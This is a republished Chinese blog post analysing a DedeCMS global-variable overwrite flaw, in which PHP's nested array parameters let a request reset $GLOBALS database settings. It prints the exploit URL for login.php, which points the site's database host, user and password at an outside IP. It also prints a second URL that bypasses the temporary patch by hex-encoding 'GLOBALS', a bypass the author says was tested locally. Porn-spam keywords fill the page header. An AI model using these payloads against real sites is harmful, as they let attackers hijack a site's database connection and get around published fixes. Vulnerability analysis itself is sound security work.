日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过

發(fā)布時間:2024/9/15 php 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

話說文章寫得菜不要緊,首先標題要跟大牛一樣!

作者:單戀一支花

出自:t00ls

轉(zhuǎn)載請注明出處,如有雷同,純屬別人抄襲,嘿嘿!

一:寫在前面

今天晚上想老婆了,失眠了,蛋裂之余,進吐司尋找基友,驚現(xiàn)dedecms通殺漏洞,小菜我異常激動,奈何發(fā)表漏洞的大牛只給出exp沒給出漏洞分析,看到論壇的部分童鞋還在苦思漏洞緣由,小菜我雖然菜,但是懂點php,所以前來獻丑,廣大童鞋勿噴!

二:php也有抽的時候

當嘗試php應(yīng)用程序如何處理用戶提交的時候,會出現(xiàn)以下反常情況:

1.$GLOBALS是一個全局數(shù)組,他可以根據(jù)名稱訪問變量.

2.如果register_globals打開,php會將$_REQUEST數(shù)組,也就是用戶請求參數(shù)注冊為全局。

3.php在$_SERVER數(shù)組里面會處理時特定的http消息頭

4.名稱包含下標的輸入?yún)?shù)會轉(zhuǎn)化為數(shù)組,這也是此次漏洞產(chǎn)生的原因!前三項只是我的一些總結(jié),可能有不完全的地方,期待大牛補充。可能有的童鞋對第四項不是很了解,我就舉個簡單的例子吧!看代碼:

print_r($_GET);

?>

直接提交https://www.webshell.cc/test.php?test[dan]=1&test[lian]=2,這樣我們會輸出Array ( [test] => Array ( [dan] => 1 [lian] => 2 ) ) ,這樣$_GET數(shù)組里面又嵌套了一個數(shù)組,成為一個二維數(shù)組!

三:針對dede的分析

根據(jù)上一條的內(nèi)容,我們來分析一下dede,首先看作者給出exp吧login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root,我們看漏洞文件includecommon.inc.php文件第22行

foreach($_REQUEST as $_k=>$_v)

{

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )

{

exit('Request var not allow!');

}

}

$REQUEST變量沒有過濾全局關(guān)鍵字(請參考我在二:php也有抽的時候的第一條),只驗證了是否提交以及提交內(nèi)容是否包含前綴cfg_|GLOBALS,就進行了第一次遍歷數(shù)組,而我們的$_REQUET的$k是$_POST,進入第47行

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

}

我們注冊了$_GET變量后,$_GET的$K是$_POST然后在遍歷后,$_POST的$K是$_GLOBALS,從而導(dǎo)至$_GLOBALS被注冊,其數(shù)組里面的元素cfg_dbhost cfg_dbuser cfg_dbpwd cfg_dbname被賦值,從而導(dǎo)致漏洞的產(chǎn)生!

四:漏洞補丁的繞過

在某博客上看到臨時補丁

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) {

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){

exit('Request var not allow!');

}

${$_k} = _RunMagicQuotes($_v);

}

}

在遍歷$_POST的時候,如果$k有GLOBALS的關(guān)鍵字就會終止,這點我們可以把GLOBALS轉(zhuǎn)化為16進制繞過的。

login.php?dopost=login&validate=dcug&userid=admin&pwd=admin&_POST[0x474c4f42414c53][cfg_dbhost]=127.0.0.1&_POST[0x474c4f42414c53][cfg_dbuser]=root&_POST[0x474c4f42414c53][cfg_dbpwd]=&_POST[0x474c4f42414c53][cfg_dbname]=dedecmsv55gbk

我本地測試是成功的,有興趣的同學可以測試一下!

我博客上也發(fā)了,嘿嘿大家感興趣可以去看看我的百度博客!

轉(zhuǎn)載請注明來自WebShell'S Blog,本文地址:https://www.webshell.cc/539.html

總結(jié)

以上是生活随笔為你收集整理的e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。